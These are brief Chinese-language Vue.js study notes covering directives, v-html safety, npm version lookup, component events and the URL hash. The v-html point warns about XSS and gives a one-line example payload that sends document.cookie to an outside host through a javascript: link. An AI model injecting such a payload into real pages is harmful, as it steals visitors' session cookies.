vue知识点
1.<template></template>只能配合v-if使用不能配合v-show使用
2.v-if ,v-else-if和v-else使用,结构不能被打断
3.vue中v-for: <div v-for="item in arr"></div>或者<div v-for="item of arr"></div>
4.v-html有安全性问题:
1)在网站上动态渲染任意html是非常危险的,容易导致xss攻击(<a href=javascript:location.href="www.baidu,com?"+ document.cookie>)
2)一定要在可信的内容上使用v-html,永不要用在用户提交的内容上
5.查看依赖(webpack)有哪些版本
npm view webpack versions
6.子组件向父组件传递数据有哪些方式:
<!-- 通过父组件给子组件传递函数类型的props实现:子给父传递数据 -->
<School :getSchoolName="getSchoolName"/>
子组件调用getSchoolName,数据作为参数传递到父组件
<!-- 通过父组件给子组件绑定一个自定义事件实现:子给父传递数据(第一种写法,使用@或v-on) -->
<!-- <Student @atguigu="getStudentName" @demo="m1"/> -->
this.$emit('atguigu',this.name,666,888,900)
this.$emit('demo')
this.$off('atguigu') //解绑一个自定义事件
this.$off(['atguigu','demo']) //解绑多个自定义事件
this.$off() //解绑所有的自定义事件
<!-- 通过父组件给子组件绑定一个自定义事件实现:子给父传递数据(第二种写法,使用ref) -->
<Student ref="student" @click.native="show"/>
this.$refs.student.$on('atguigu',this.getStudentName) //绑定自定义事件
this.$refs.student.$once('atguigu',this.getStudentName) //绑定自定义事件(一次性)
注意:通过```this.$refs.xxx.$on('atguigu',回调)```绑定自定义事件时,回调<span style="color:red">要么配置在methods中</span>,<span style="color:red">要么用箭头函数</span>,否则this指向会出问题!
7.路径中的#,在前端我们称之为hash,#后面的东西无论什么都不会传到服务器
浙公网安备 33010602011771号